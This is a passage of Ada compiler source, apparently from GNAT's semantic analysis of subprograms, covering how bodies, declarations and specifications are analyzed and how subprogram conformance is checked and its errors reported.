(Spec_Id), Spec_Id); end if; -- Here is where we move entities from the spec to the body -- Case where there are entities that stay with the spec if Present (Last_Real_Spec_Entity) then -- No body entities (happens when the only real spec entities come -- from precondition and postcondition pragmas). if No (Last_Entity (Body_Id)) then Set_First_Entity (Body_Id, Next_Entity (Last_Real_Spec_Entity)); -- Body entities present (formals), so chain stuff past them else Link_Entities (Last_Entity (Body_Id), Next_Entity (Last_Real_Spec_Entity)); end if; Set_Next_Entity (Last_Real_Spec_Entity, Empty); Set_Last_Entity (Body_Id, Last_Entity (Spec_Id)); Set_Last_Entity (Spec_Id, Last_Real_Spec_Entity); -- Case where there are no spec entities, in this case there can be -- no body entities either, so just move everything. -- If the body is generated for an expression function, it may have -- been preanalyzed already, if 'access was applied to it. else if Nkind (Original_Node (Unit_Declaration_Node (Spec_Id))) /= N_Expression_Function then pragma Assert (No (Last_Entity (Body_Id))); null; end if; Set_First_Entity (Body_Id, First_Entity (Spec_Id)); Set_Last_Entity (Body_Id, Last_Entity (Spec_Id)); Set_First_Entity (Spec_Id, Empty); Set_Last_Entity (Spec_Id, Empty); end if; -- Otherwise the body does not complete a previous declaration. Check -- the categorization of the body against the units it withs. else Validate_Categorization_Dependency (N, Body_Id); end if; Check_Missing_Return; -- Now we are going to check for variables that are never modified in -- the body of the procedure. But first we deal with a special case -- where we want to modify this check. If the body of the subprogram -- starts with a raise statement or its equivalent, or if the body -- consists entirely of a null statement, then it is pretty obvious that -- it is OK to not reference the parameters. For example, this might be -- the following common idiom for a stubbed function: statement of the -- procedure raises an exception. In particular this deals with the -- common idiom of a stubbed function, which appears something like: -- function F (A : Integer) return Some_Type; -- X : Some_Type; -- begin -- raise Program_Error; -- return X; -- end F; -- Here the purpose of X is simply to satisfy the annoying requirement -- in Ada that there be at least one return, and we certainly do not -- want to go posting warnings on X that it is not initialized. On -- the other hand, if X is entirely unreferenced that should still -- get a warning. -- What we do is to detect these cases, and if we find them, flag the -- subprogram as being Is_Trivial_Subprogram and then use that flag to -- suppress unwanted warnings. For the case of the function stub above -- we have a special test to set X as apparently assigned to suppress -- the warning. declare Stm : Node_Id; begin -- Skip call markers installed by the ABE mechanism, labels, and -- Push_xxx_Error_Label to find the first real statement. Stm := First (Statements (HSS)); while Nkind (Stm) in N_Call_Marker | N_Label | N_Push_xxx_Label loop Next (Stm); end loop; -- Do the test on the original statement before expansion declare Ostm : constant Node_Id := Original_Node (Stm); begin -- If explicit raise statement, turn on flag if Nkind (Ostm) = N_Raise_Statement then Set_Trivial_Subprogram (Stm); -- If null statement, and no following statements, turn on flag elsif Nkind (Stm) = N_Null_Statement and then Comes_From_Source (Stm) and then No (Next (Stm)) then Set_Trivial_Subprogram (Stm); -- Check for explicit call cases which likely raise an exception elsif Nkind (Ostm) = N_Procedure_Call_Statement then if Is_Entity_Name (Name (Ostm)) then declare Ent : constant Entity_Id := Entity (Name (Ostm)); begin -- If the procedure is marked No_Return, then likely it -- raises an exception, but in any case it is not coming -- back here, so turn on the flag. if Present (Ent) and then Ekind (Ent) = E_Procedure and then No_Return (Ent) then Set_Trivial_Subprogram (Stm); end if; end; end if; end if; end; end; -- Check for variables that are never modified declare E1 : Entity_Id; E2 : Entity_Id; begin -- If there is a separate spec, then transfer Never_Set_In_Source -- flags from out parameters to the corresponding entities in the -- body. The reason we do that is we want to post error flags on -- the body entities, not the spec entities. if Present (Spec_Id) then E1 := First_Entity (Spec_Id); while Present (E1) loop if Ekind (E1) = E_Out_Parameter then E2 := First_Entity (Body_Id); while Present (E2) loop exit when Chars (E1) = Chars (E2); Next_Entity (E2); end loop; if Present (E2) then Set_Never_Set_In_Source (E2, Never_Set_In_Source (E1)); end if; end if; Next_Entity (E1); end loop; end if; -- Check references of the subprogram spec when we are dealing with -- an expression function due to it having a generated body. -- Otherwise, we simply check the formals of the subprogram body. if Present (Spec_Id) and then Is_Expression_Function (Spec_Id) then Check_References (Spec_Id); else Check_References (Body_Id); end if; end; -- Check for nested subprogram, and mark outer level subprogram if so declare Ent : Entity_Id; begin if Present (Spec_Id) then Ent := Spec_Id; else Ent := Body_Id; end if; loop Ent := Enclosing_Subprogram (Ent); exit when No (Ent) or else Is_Subprogram (Ent); end loop; if Present (Ent) then Set_Has_Nested_Subprogram (Ent); end if; end; -- Restore the limited views in the spec, if any, to let the back end -- process it without running into circularities. if Exch_Views /= No_Elist then Restore_Limited_Views (Exch_Views); end if; if Mask_Types /= No_Elist then Unmask_Unfrozen_Types (Mask_Types); end if; if Present (Desig_View) then Set_Directly_Designated_Type (Etype (Spec_Id), Desig_View); end if; <<Leave>> if Present (Ignored_Ghost_Region) then Expander_Active := Saved_EA; end if; Ignore_SPARK_Mode_Pragmas_In_Instance := Saved_ISMP; Restore_Ghost_Region (Saved_GM, Saved_IGR); end Analyze_Subprogram_Body_Helper; ------------------------------------ -- Analyze_Subprogram_Declaration -- ------------------------------------ procedure Analyze_Subprogram_Declaration (N : Node_Id) is Scop : constant Entity_Id := Current_Scope; Designator : Entity_Id; Is_Completion : Boolean; -- Indicates whether a null procedure declaration is a completion begin -- Null procedures are not allowed in SPARK if Nkind (Specification (N)) = N_Procedure_Specification and then Null_Present (Specification (N)) then -- Null procedures are allowed in protected types, following the -- recent AI12-0147. if Is_Protected_Type (Current_Scope) and then Ada_Version < Ada_2012 then Error_Msg_N ("protected operation cannot be a null procedure", N); end if; Analyze_Null_Procedure (N, Is_Completion); -- The null procedure acts as a body, nothing further is needed if Is_Completion then return; end if; end if; Designator := Analyze_Subprogram_Specification (Specification (N)); -- A reference may already have been generated for the unit name, in -- which case the following call is redundant. However it is needed for -- declarations that are the rewriting of an expression function. Generate_Definition (Designator); -- Set the SPARK mode from the current context (may be overwritten later -- with explicit pragma). This is not done for entry barrier functions -- because they are generated outside the protected type and should not -- carry the mode of the enclosing context. if Nkind (N) = N_Subprogram_Declaration and then Is_Entry_Barrier_Function (N) then null; else Set_SPARK_Pragma (Designator, SPARK_Mode_Pragma); Set_SPARK_Pragma_Inherited (Designator); end if; -- Save the state of flag Ignore_SPARK_Mode_Pragmas_In_Instance in case -- the body of this subprogram is instantiated or inlined later and out -- of context. The body uses this attribute to restore the value of the -- global flag. if Ignore_SPARK_Mode_Pragmas_In_Instance then Set_Ignore_SPARK_Mode_Pragmas (Designator); end if; -- Preserve relevant elaboration-related attributes of the context which -- are no longer available or very expensive to recompute once analysis, -- resolution, and expansion are over. Mark_Elaboration_Attributes (N_Id => Designator, Checks => True, Warnings => True); if Debug_Flag_C then Write_Str ("==> subprogram spec "); Write_Name (Chars (Designator)); Write_Str (" from "); Write_Location (Sloc (N)); Write_Eol; Indent; end if; Validate_RCI_Subprogram_Declaration (N); New_Overloaded_Entity (Designator); Check_Delayed_Subprogram (Designator); -- If the type of the first formal of the current subprogram is a non- -- generic tagged private type, mark the subprogram as being a private -- primitive. Ditto if this is a function with controlling result, and -- the return type is currently private. In both cases, the type of the -- controlling argument or result must be in the current scope for the -- operation to be primitive. if Has_Controlling_Result (Designator) and then Is_Private_Type (Etype (Designator)) and then Scope (Etype (Designator)) = Current_Scope and then not Is_Generic_Actual_Type (Etype (Designator)) then Set_Is_Private_Primitive (Designator); elsif Present (First_Formal (Designator)) then declare Formal_Typ : constant Entity_Id := Etype (First_Formal (Designator)); begin Set_Is_Private_Primitive (Designator, Is_Tagged_Type (Formal_Typ) and then Scope (Formal_Typ) = Current_Scope and then Is_Private_Type (Formal_Typ) and then not Is_Generic_Actual_Type (Formal_Typ)); end; end if; -- Ada 2005 (AI-251): Abstract interface primitives must be abstract -- or null. if Ada_Version >= Ada_2005 and then Comes_From_Source (N) and then Is_Dispatching_Operation (Designator) then declare E : Entity_Id; Etyp : Entity_Id; begin if Has_Controlling_Result (Designator) then Etyp := Etype (Designator); else E := First_Entity (Designator); while Present (E) and then Is_Formal (E) and then not Is_Controlling_Formal (E) loop Next_Entity (E); end loop; Etyp := Etype (E); end if; if Is_Access_Type (Etyp) then Etyp := Directly_Designated_Type (Etyp); end if; if Is_Interface (Etyp) and then not Is_Abstract_Subprogram (Designator) and then not (Ekind (Designator) = E_Procedure and then Null_Present (Specification (N))) then Error_Msg_Name_1 := Chars (Defining_Entity (N)); -- Specialize error message based on procedures vs. functions, -- since functions can't be null subprograms. if Ekind (Designator) = E_Procedure then Error_Msg_N ("interface procedure % must be abstract or null", N); else Error_Msg_N ("interface function % must be abstract", N); end if; end if; end; end if; -- For a compilation unit, set body required. This flag will only be -- reset if a valid Import or Interface pragma is processed later on. if Nkind (Parent (N)) = N_Compilation_Unit then Set_Body_Required (Parent (N), True); if Ada_Version >= Ada_2005 and then Nkind (Specification (N)) = N_Procedure_Specification and then Null_Present (Specification (N)) then Error_Msg_N ("null procedure cannot be declared at library level", N); end if; end if; Generate_Reference_To_Formals (Designator); Check_Eliminated (Designator); if Debug_Flag_C then Outdent; Write_Str ("<== subprogram spec "); Write_Name (Chars (Designator)); Write_Str (" from "); Write_Location (Sloc (N)); Write_Eol; end if; -- Indicate that this is a protected operation, because it may be used -- in subsequent declarations within the protected type. if Is_Protected_Type (Current_Scope) then Set_Convention (Designator, Convention_Protected); end if; List_Inherited_Pre_Post_Aspects (Designator); -- Process the aspects before establishing the proper categorization in -- case the subprogram is a compilation unit and one of its aspects is -- converted into a categorization pragma. if Has_Aspects (N) then Analyze_Aspect_Specifications (N, Designator); end if; if Scop /= Standard_Standard and then not Is_Child_Unit (Designator) then Set_Categorization_From_Scope (Designator, Scop); -- Otherwise the unit is a compilation unit and/or a child unit. Set the -- proper categorization of the unit based on its pragmas. else Push_Scope (Designator); Set_Categorization_From_Pragmas (N); Validate_Categorization_Dependency (N, Designator); Pop_Scope; end if; end Analyze_Subprogram_Declaration; -------------------------------------- -- Analyze_Subprogram_Specification -- -------------------------------------- -- Reminder: N here really is a subprogram specification (not a subprogram -- declaration). This procedure is called to analyze the specification in -- both subprogram bodies and subprogram declarations (specs). function Analyze_Subprogram_Specification (N : Node_Id) return Entity_Id is function Is_Invariant_Procedure_Or_Body (E : Entity_Id) return Boolean; -- Determine whether entity E denotes the spec or body of an invariant -- procedure. ------------------------------------ -- Is_Invariant_Procedure_Or_Body -- ------------------------------------ function Is_Invariant_Procedure_Or_Body (E : Entity_Id) return Boolean is Decl : constant Node_Id := Unit_Declaration_Node (E); Spec : Entity_Id; begin if Nkind (Decl) = N_Subprogram_Body then Spec := Corresponding_Spec (Decl); else Spec := E; end if; return Present (Spec) and then Ekind (Spec) = E_Procedure and then (Is_Partial_Invariant_Procedure (Spec) or else Is_Invariant_Procedure (Spec)); end Is_Invariant_Procedure_Or_Body; -- Local variables Designator : constant Entity_Id := Defining_Entity (N); Formals : constant List_Id := Parameter_Specifications (N); -- Start of processing for Analyze_Subprogram_Specification begin -- Proceed with analysis. Do not emit a cross-reference entry if the -- specification comes from an expression function, because it may be -- the completion of a previous declaration. If it is not, the cross- -- reference entry will be emitted for the new subprogram declaration. if Nkind (Parent (N)) /= N_Expression_Function then Generate_Definition (Designator); end if; if Nkind (N) = N_Function_Specification then Mutate_Ekind (Designator, E_Function); Set_Mechanism (Designator, Default_Mechanism); else Mutate_Ekind (Designator, E_Procedure); Set_Etype (Designator, Standard_Void_Type); end if; -- Flag Is_Inlined_Always is True by default, and reversed to False for -- those subprograms which could be inlined in GNATprove mode (because -- Body_To_Inline is non-Empty) but should not be inlined. if GNATprove_Mode then Set_Is_Inlined_Always (Designator); end if; -- Introduce new scope for analysis of the formals and the return type Set_Scope (Designator, Current_Scope); if Present (Formals) then Push_Scope (Designator); Process_Formals (Formals, N); -- Check dimensions in N for formals with default expression Analyze_Dimension_Formals (N, Formals); -- Ada 2005 (AI-345): If this is an overriding operation of an -- inherited interface operation, and the controlling type is -- a synchronized type, replace the type with its corresponding -- record, to match the proper signature of an overriding operation. -- Same processing for an access parameter whose designated type is -- derived from a synchronized interface. -- This modification is not done for invariant procedures because -- the corresponding record may not necessarely be visible when the -- concurrent type acts as the full view of a private type. -- package Pack is -- type Prot is private with Type_Invariant => ...; -- procedure ConcInvariant (Obj : Prot); -- private -- protected type Prot is ...; -- type Concurrent_Record_Prot is record ...; -- procedure ConcInvariant (Obj : Prot) is -- ... -- end ConcInvariant; -- end Pack; -- In the example above, both the spec and body of the invariant -- procedure must utilize the private type as the controlling type. if Ada_Version >= Ada_2005 and then not Is_Invariant_Procedure_Or_Body (Designator) then declare Formal : Entity_Id; Formal_Typ : Entity_Id; Rec_Typ : Entity_Id; Desig_Typ : Entity_Id; begin Formal := First_Formal (Designator); while Present (Formal) loop Formal_Typ := Etype (Formal); if Is_Concurrent_Type (Formal_Typ) and then Present (Corresponding_Record_Type (Formal_Typ)) then Rec_Typ := Corresponding_Record_Type (Formal_Typ); if Present (Interfaces (Rec_Typ)) then Set_Etype (Formal, Rec_Typ); end if; elsif Ekind (Formal_Typ) = E_Anonymous_Access_Type then Desig_Typ := Designated_Type (Formal_Typ); if Is_Concurrent_Type (Desig_Typ) and then Present (Corresponding_Record_Type (Desig_Typ)) then Rec_Typ := Corresponding_Record_Type (Desig_Typ); if Present (Interfaces (Rec_Typ)) then Set_Directly_Designated_Type (Formal_Typ, Rec_Typ); end if; end if; end if; Next_Formal (Formal); end loop; end; end if; End_Scope; -- The subprogram scope is pushed and popped around the processing of -- the return type for consistency with call above to Process_Formals -- (which itself can call Analyze_Return_Type), and to ensure that any -- itype created for the return type will be associated with the proper -- scope. elsif Nkind (N) = N_Function_Specification then Push_Scope (Designator); Analyze_Return_Type (N); End_Scope; end if; -- Function case if Nkind (N) = N_Function_Specification then -- Deal with operator symbol case if Nkind (Designator) = N_Defining_Operator_Symbol then Valid_Operator_Definition (Designator); end if; May_Need_Actuals (Designator); -- Ada 2005 (AI-251): If the return type is abstract, verify that -- the subprogram is abstract also. This does not apply to renaming -- declarations, where abstractness is inherited, and to subprogram -- bodies generated for stream operations, which become renamings as -- bodies. -- In case of primitives associated with abstract interface types -- the check is applied later (see Analyze_Subprogram_Declaration). if Nkind (Original_Node (Parent (N))) not in N_Abstract_Subprogram_Declaration | N_Formal_Abstract_Subprogram_Declaration | N_Subprogram_Renaming_Declaration then if Is_Abstract_Type (Etype (Designator)) then Error_Msg_N ("function that returns abstract type must be abstract", N); -- Ada 2012 (AI-0073): Extend this test to subprograms with an -- access result whose designated type is abstract. elsif Ada_Version >= Ada_2012 and then Nkind (Result_Definition (N)) = N_Access_Definition and then not Is_Class_Wide_Type (Designated_Type (Etype (Designator))) and then Is_Abstract_Type (Designated_Type (Etype (Designator))) then Error_Msg_N ("function whose access result designates abstract type " & "must be abstract", N); end if; end if; end if; return Designator; end Analyze_Subprogram_Specification; ----------------------- -- Check_Conformance -- ----------------------- procedure Check_Conformance (New_Id : Entity_Id; Old_Id : Entity_Id; Ctype : Conformance_Type; Errmsg : Boolean; Conforms : out Boolean; Err_Loc : Node_Id := Empty; Get_Inst : Boolean := False; Skip_Controlling_Formals : Boolean := False) is procedure Conformance_Error (Msg : String; N : Node_Id := New_Id); -- Sets Conforms to False. If Errmsg is False, then that's all it does. -- If Errmsg is True, then processing continues to post an error message -- for conformance error on given node. Two messages are output. The -- first message points to the previous declaration with a general "no -- conformance" message. The second is the detailed reason, supplied as -- Msg. The parameter N provide information for a possible & insertion -- in the message, and also provides the location for posting the -- message in the absence of a specified Err_Loc location. function Conventions_Match (Id1, Id2 : Entity_Id) return Boolean; -- True if the conventions of entities Id1 and Id2 match. function Null_Exclusions_Match (F1, F2 : Entity_Id) return Boolean; -- True if the null exclusions of two formals of anonymous access type -- match. function Subprogram_Subtypes_Have_Same_Declaration (Subp : Entity_Id; Decl_Subtype : Entity_Id; Body_Subtype : Entity_Id) return Boolean; -- Checks whether corresponding subtypes named within a subprogram -- declaration and body originate from the same declaration, and returns -- True when they do. In the case of anonymous access-to-object types, -- checks the designated types. Also returns True when GNAT_Mode is -- enabled, or when the subprogram is marked Is_Internal or occurs -- within a generic instantiation or internal unit (GNAT library unit). ----------------------- -- Conformance_Error -- ----------------------- procedure Conformance_Error (Msg : String; N : Node_Id := New_Id) is Enode : Node_Id; begin Conforms := False; if Errmsg then if No (Err_Loc) then Enode := N; else Enode := Err_Loc; end if; Error_Msg_Sloc := Sloc (Old_Id); case Ctype is when Type_Conformant => Error_Msg_N -- CODEFIX ("not type conformant with declaration#!", Enode); when Mode_Conformant => if Nkind (Parent (Old_Id)) = N_Full_Type_Declaration then Error_Msg_N ("not mode conformant with operation inherited#!", Enode); else Error_Msg_N ("not mode conformant with declaration#!", Enode); end if; when Subtype_Conformant => if Nkind (Parent (Old_Id)) = N_Full_Type_Declaration then Error_Msg_N ("not subtype conformant with operation inherited#!", Enode); else Error_Msg_N ("not subtype conformant with declaration#!", Enode); end if; when Fully_Conformant => if Nkind (Parent (Old_Id)) = N_Full_Type_Declaration then Error_Msg_N -- CODEFIX ("not fully conformant with operation inherited#!", Enode); else Error_Msg_N -- CODEFIX ("not fully conformant with declaration#!", Enode); end if; end case; Error_Msg_NE (Msg, Enode, N); end if; end Conformance_Error; ----------------------- -- Conventions_Match -- ----------------------- function Conventions_Match (Id1 : Entity_Id; Id2 : Entity_Id) return Boolean is begin -- Ignore the conventions of anonymous access-to-subprogram types -- and subprogram types because these are internally generated and -- the only way these may receive a convention is if they inherit -- the convention of a related subprogram. if Ekind (Id1) in E_Anonymous_Access_Subprogram_Type | E_Subprogram_Type or else Ekind (Id2) in E_Anonymous_Access_Subprogram_Type | E_Subprogram_Type then return True; -- Otherwise compare the conventions directly else return Convention (Id1) = Convention (Id2); end if; end Conventions_Match; --------------------------- -- Null_Exclusions_Match -- --------------------------- function Null_Exclusions_Match (F1, F2 : Entity_Id) return Boolean is begin if not Is_Anonymous_Access_Type (Etype (F1)) or else not Is_Anonymous_Access_Type (Etype (F2)) then return True; end if; -- AI12-0289-1: Case of controlling access parameter; False if the -- partial view is untagged, the full view is tagged, and no explicit -- "not null". Note that at this point, we're processing the package -- body, so private/full types have been swapped. The Sloc test below -- is to detect the (legal) case where F1 comes after the full type -- declaration. This part is disabled pre-2005, because "not null" is -- not allowed on those language versions. if Ada_Version >= Ada_2005 and then Is_Controlling_Formal (F1) and then not Null_Exclusion_Present (Parent (F1)) and then not Null_Exclusion_Present (Parent (F2)) then declare D : constant Entity_Id := Directly_Designated_Type (Etype (F1)); Partial_View_Of_Desig : constant Entity_Id := Incomplete_Or_Partial_View (D); begin return No (Partial_View_Of_Desig) or else Is_Tagged_Type (Partial_View_Of_Desig) or else Sloc (D) < Sloc (F1); end; -- Not a controlling parameter, or one or both views have an explicit -- "not null". else return Null_Exclusion_Present (Parent (F1)) = Null_Exclusion_Present (Parent (F2)); end if; end Null_Exclusions_Match; function Subprogram_Subtypes_Have_Same_Declaration (Subp : Entity_Id; Decl_Subtype : Entity_Id; Body_Subtype : Entity_Id) return Boolean is function Nonlimited_View_Of_Subtype (Subt : Entity_Id) return Entity_Id; -- Returns the nonlimited view of a type or subtype that is an -- incomplete or class-wide type that comes from a limited view of -- a package (From_Limited_With is True for the entity), or the -- full view when the subtype is an incomplete type. Otherwise -- returns the entity passed in. function Nonlimited_View_Of_Subtype (Subt : Entity_Id) return Entity_Id is Subt_Temp : Entity_Id := Subt; begin if Ekind (Subt) in Incomplete_Kind | E_Class_Wide_Type and then From_Limited_With (Subt) then Subt_Temp := Non_Limited_View (Subt); end if; -- If the subtype is incomplete, return full view if present -- (and accounts for the case where a type from a limited view -- is itself an incomplete type). if Ekind (Subt_Temp) in Incomplete_Kind and then Present (Full_View (Subt_Temp)) then Subt_Temp := Full_View (Subt_Temp); end if; return Subt_Temp; end Nonlimited_View_Of_Subtype; -- Start of processing for Subprogram_Subtypes_Have_Same_Declaration begin if not In_Instance and then not In_Internal_Unit (Subp) and then not Is_Internal (Subp) and then not GNAT_Mode and then Ekind (Etype (Decl_Subtype)) not in Access_Subprogram_Kind then if Ekind (Etype (Decl_Subtype)) = E_Anonymous_Access_Type then if Nonlimited_View_Of_Subtype (Designated_Type (Decl_Subtype)) /= Nonlimited_View_Of_Subtype (Designated_Type (Body_Subtype)) then return False; end if; elsif Nonlimited_View_Of_Subtype (Decl_Subtype) /= Nonlimited_View_Of_Subtype (Body_Subtype) then -- Avoid returning False (and a false-positive warning) for -- the case of "not null" itypes, which will appear to be -- different subtypes even when the subtype_marks denote -- the same subtype. if Ekind (Decl_Subtype) = E_Access_Subtype and then Ekind (Body_Subtype) = E_Access_Subtype and then Is_Itype (Body_Subtype) and then Can_Never_Be_Null (Body_Subtype) and then Etype (Decl_Subtype) = Etype (Body_Subtype) then return True; else return False; end if; end if; end if; return True; end Subprogram_Subtypes_Have_Same_Declaration; -- Local Variables Old_Type : constant Entity_Id := Etype (Old_Id); New_Type : constant Entity_Id := Etype (New_Id); Old_Formal : Entity_Id; New_Formal : Entity_Id; Old_Formal_Base : Entity_Id; New_Formal_Base : Entity_Id; -- Start of processing for Check_Conformance begin Conforms := True; -- We need a special case for operators, since they don't appear -- explicitly. if Ctype = Type_Conformant then if Ekind (New_Id) = E_Operator and then Operator_Matches_Spec (New_Id, Old_Id) then return; end if; end if; -- If both are functions/operators, check return types conform if Old_Type /= Standard_Void_Type and then New_Type /= Standard_Void_Type then -- If we are checking interface conformance we omit controlling -- arguments and result, because we are only checking the conformance -- of the remaining parameters. if Has_Controlling_Result (Old_Id) and then Has_Controlling_Result (New_Id) and then Skip_Controlling_Formals then null; elsif not Conforming_Types (Old_Type, New_Type, Ctype, Get_Inst) then if Ctype >= Subtype_Conformant and then not Predicates_Match (Old_Type, New_Type) then Conformance_Error ("\predicate of return type does not match!", New_Id); else Conformance_Error ("\return type does not match!", New_Id); end if; return; -- If the result subtypes conform and pedantic checks are enabled, -- check to see whether the subtypes originate from different -- declarations, and issue a warning when they do. elsif Ctype = Fully_Conformant and then Warn_On_Pedantic_Checks and then not Subprogram_Subtypes_Have_Same_Declaration (Old_Id, Old_Type, New_Type) then Error_Msg_N ("result subtypes conform but come from different " & "declarations?_p?", New_Id); end if; -- Ada 2005 (AI-231): In case of anonymous access types check the -- null-exclusion and access-to-constant attributes match. if Ada_Version >= Ada_2005 and then Ekind (Etype (Old_Type)) = E_Anonymous_Access_Type and then (Can_Never_Be_Null (Old_Type) /= Can_Never_Be_Null (New_Type) or else Is_Access_Constant (Etype (Old_Type)) /= Is_Access_Constant (Etype (New_Type))) then Conformance_Error ("\return type does not match!", New_Id); return; end if; -- If either is a function/operator and the other isn't, error elsif Old_Type /= Standard_Void_Type or else New_Type /= Standard_Void_Type then Conformance_Error ("\functions can only match functions!", New_Id); return; end if; -- In subtype conformant case, conventions must match (RM 6.3.1(16)). -- If this is a renaming as body, refine error message to indicate that -- the conflict is with the original declaration. If the entity is not -- frozen, the conventions don't have to match, the one of the renamed -- entity is inherited. if Ctype >= Subtype_Conformant then if not Conventions_Match (Old_Id, New_Id) then if not Is_Frozen (New_Id) then null; elsif Present (Err_Loc) and then Nkind (Err_Loc) = N_Subprogram_Renaming_Declaration and then Present (Corresponding_Spec (Err_Loc)) then Error_Msg_Name_1 := Chars (New_Id); Error_Msg_Name_2 := Name_Ada + Convention_Id'Pos (Convention (New_Id)); Conformance_Error ("\prior declaration for% has convention %!"); return; else Conformance_Error ("\calling conventions do not match!"); return; end if; else Check_Formal_Subprogram_Conformance (New_Id, Old_Id, Err_Loc, Errmsg, Conforms); if not Conforms then return; end if; end if; end if; -- Deal with parameters -- Note: we use the entity information, rather than going directly -- to the specification in the tree. This is not only simpler, but -- absolutely necessary for some cases of conformance tests between -- operators, where the declaration tree simply does not exist. Old_Formal := First_Formal (Old_Id); New_Formal := First_Formal (New_Id); while Present (Old_Formal) and then Present (New_Formal) loop if Is_Controlling_Formal (Old_Formal) and then Is_Controlling_Formal (New_Formal) and then Skip_Controlling_Formals then -- The controlling formals will have different types when -- comparing an interface operation with its match, but both -- or neither must be access parameters. if Is_Access_Type (Etype (Old_Formal)) = Is_Access_Type (Etype (New_Formal)) then goto Skip_Controlling_Formal; else Conformance_Error ("\access parameter does not match!", New_Formal); end if; end if; -- Ada 2012: Mode conformance also requires that formal parameters -- be both aliased, or neither. if Ctype >= Mode_Conformant and then Ada_Version >= Ada_2012 then if Is_Aliased (Old_Formal) /= Is_Aliased (New_Formal) then Conformance_Error ("\aliased parameter mismatch!", New_Formal); end if; end if; if Ctype = Fully_Conformant then -- Names must match. Error message is more accurate if we do -- this before checking that the types of the formals match. if Chars (Old_Formal) /= Chars (New_Formal) then Conformance_Error ("\name& does not match!", New_Formal); -- Set error posted flag on new formal as well to stop -- junk cascaded messages in some cases. Set_Error_Posted (New_Formal); return; end if; -- Null exclusion must match if not Relaxed_RM_Semantics and then not Null_Exclusions_Match (Old_Formal, New_Formal) then Conformance_Error ("\null exclusion for& does not match", New_Formal); -- Mark error posted on the new formal to avoid duplicated -- complaint about types not matching. Set_Error_Posted (New_Formal); end if; end if; -- Ada 2005 (AI-423): Possible access [sub]type and itype match. This -- case occurs whenever a subprogram is being renamed and one of its -- parameters imposes a null exclusion. For example: -- type T is null record; -- type Acc_T is access T; -- subtype Acc_T_Sub is Acc_T; -- procedure P (Obj : not null Acc_T_Sub); -- itype -- procedure Ren_P (Obj : Acc_T_Sub) -- subtype -- renames P; Old_Formal_Base := Etype (Old_Formal); New_Formal_Base := Etype (New_Formal); if Get_Inst then Old_Formal_Base := Get_Instance_Of (Old_Formal_Base); New_Formal_Base := Get_Instance_Of (New_Formal_Base); end if; -- Types must always match. In the visible part of an instance, -- usual overloading rules for dispatching operations apply, and -- we check base types (not the actual subtypes). if In_Instance_Visible_Part and then Is_Dispatching_Operation (New_Id) then if not Conforming_Types (T1 => Base_Type (Etype (Old_Formal)), T2 => Base_Type (Etype (New_Formal)), Ctype => Ctype, Get_Inst => Get_Inst) then Conformance_Error ("\type of & does not match!", New_Formal); return; end if; elsif not Conforming_Types (T1 => Old_Formal_Base, T2 => New_Formal_Base, Ctype => Ctype, Get_Inst => Get_Inst) then -- Don't give error message if old type is Any_Type. This test -- avoids some cascaded errors, e.g. in case of a bad spec. if Errmsg and then Old_Formal_Base = Any_Type then Conforms := False; else if Ctype >= Subtype_Conformant and then not Predicates_Match (Old_Formal_Base, New_Formal_Base) then Conformance_Error ("\predicate of & does not match!", New_Formal); else Conformance_Error ("\type of & does not match!", New_Formal); if not Dimensions_Match (Old_Formal_Base, New_Formal_Base) then Error_Msg_N ("\dimensions mismatch!", New_Formal); end if; end if; end if; return; -- If the formals' subtypes conform and pedantic checks are enabled, -- check to see whether the subtypes originate from different -- declarations, and issue a warning when they do. elsif Ctype = Fully_Conformant and then Warn_On_Pedantic_Checks and then not Subprogram_Subtypes_Have_Same_Declaration (Old_Id, Old_Formal_Base, New_Formal_Base) then Error_Msg_N ("formal subtypes conform but come from " & "different declarations?_p?", New_Formal); end if; -- For mode conformance, mode must match if Ctype >= Mode_Conformant then if Parameter_Mode (Old_Formal) /= Parameter_Mode (New_Formal) then if Ekind (New_Id) not in E_Function | E_Procedure or else not Is_Primitive_Wrapper (New_Id) then Conformance_Error ("\mode of & does not match!", New_Formal); else declare T : constant Entity_Id := Find_Dispatching_Type (New_Id); begin if Is_Protected_Type (Corresponding_Concurrent_Type (T)) then Conforms := False; if Errmsg then Error_Msg_PT (New_Id, Ultimate_Alias (Old_Id)); end if; else Conformance_Error ("\mode of & does not match!", New_Formal); end if; end; end if; return; elsif Is_Access_Type (Old_Formal_Base) and then Is_Access_Type (New_Formal_Base) and then Is_Access_Constant (Old_Formal_Base) /= Is_Access_Constant (New_Formal_Base) then Conformance_Error ("\constant modifier does not match!", New_Formal); return; end if; end if; if Ctype >= Subtype_Conformant then -- Ada 2005 (AI-231): In case of anonymous access types check -- the null-exclusion and access-to-constant attributes must -- match. For null exclusion, we test the types rather than the -- formals themselves, since the attribute is only set reliably -- on the formals in the Ada 95 case, and we exclude the case -- where Old_Formal is marked as controlling, to avoid errors -- when matching completing bodies with dispatching declarations -- (access formals in the bodies aren't marked Can_Never_Be_Null). if Ada_Version >= Ada_2005 and then Is_Anonymous_Access_Type (Etype (Old_Formal)) and then Is_Anonymous_Access_Type (Etype (New_Formal)) and then ((Can_Never_Be_Null (Etype (Old_Formal)) /= Can_Never_Be_Null (Etype (New_Formal)) and then not Is_Controlling_Formal (Old_Formal)) or else Is_Access_Constant (Etype (Old_Formal)) /= Is_Access_Constant (Etype (New_Formal))) -- Do not complain if error already posted on New_Formal. This -- avoids some redundant error messages. and then not Error_Posted (New_Formal) then -- It is allowed to omit the null-exclusion in case of stream -- attribute subprograms. We recognize stream subprograms -- through their TSS-generated suffix. declare TSS_Name : constant TSS_Name_Type := Get_TSS_Name (New_Id); begin if TSS_Name /= TSS_Stream_Read and then TSS_Name /= TSS_Stream_Write and then TSS_Name /= TSS_Stream_Input and then TSS_Name /= TSS_Stream_Output then -- Here we have a definite conformance error. It is worth -- special casing the error message for the case of a -- controlling formal (which excludes null). if Is_Controlling_Formal (New_Formal) then Error_Msg_Node_2 := Scope (New_Formal); Conformance_Error ("\controlling formal & of & excludes null, " & "declaration must exclude null as well", New_Formal); -- Normal case (couldn't we give more detail here???) else Conformance_Error ("\type of & does not match!", New_Formal); end if; return; end if; end; end if; end if; -- Full conformance checks if Ctype = Fully_Conformant then -- We have checked already that names match if Parameter_Mode (Old_Formal) = E_In_Parameter then -- Check default expressions for in parameters declare NewD : constant Boolean := Present (Default_Value (New_Formal)); OldD : constant Boolean := Present (Default_Value (Old_Formal)); begin if NewD or OldD then -- The old default value has been analyzed because the -- current full declaration will have frozen everything -- before. The new default value has not been analyzed, -- so analyze it now before we check for conformance. if NewD then Push_Scope (New_Id); Preanalyze_Spec_Expression (Default_Value (New_Formal), Etype (New_Formal)); End_Scope; end if; 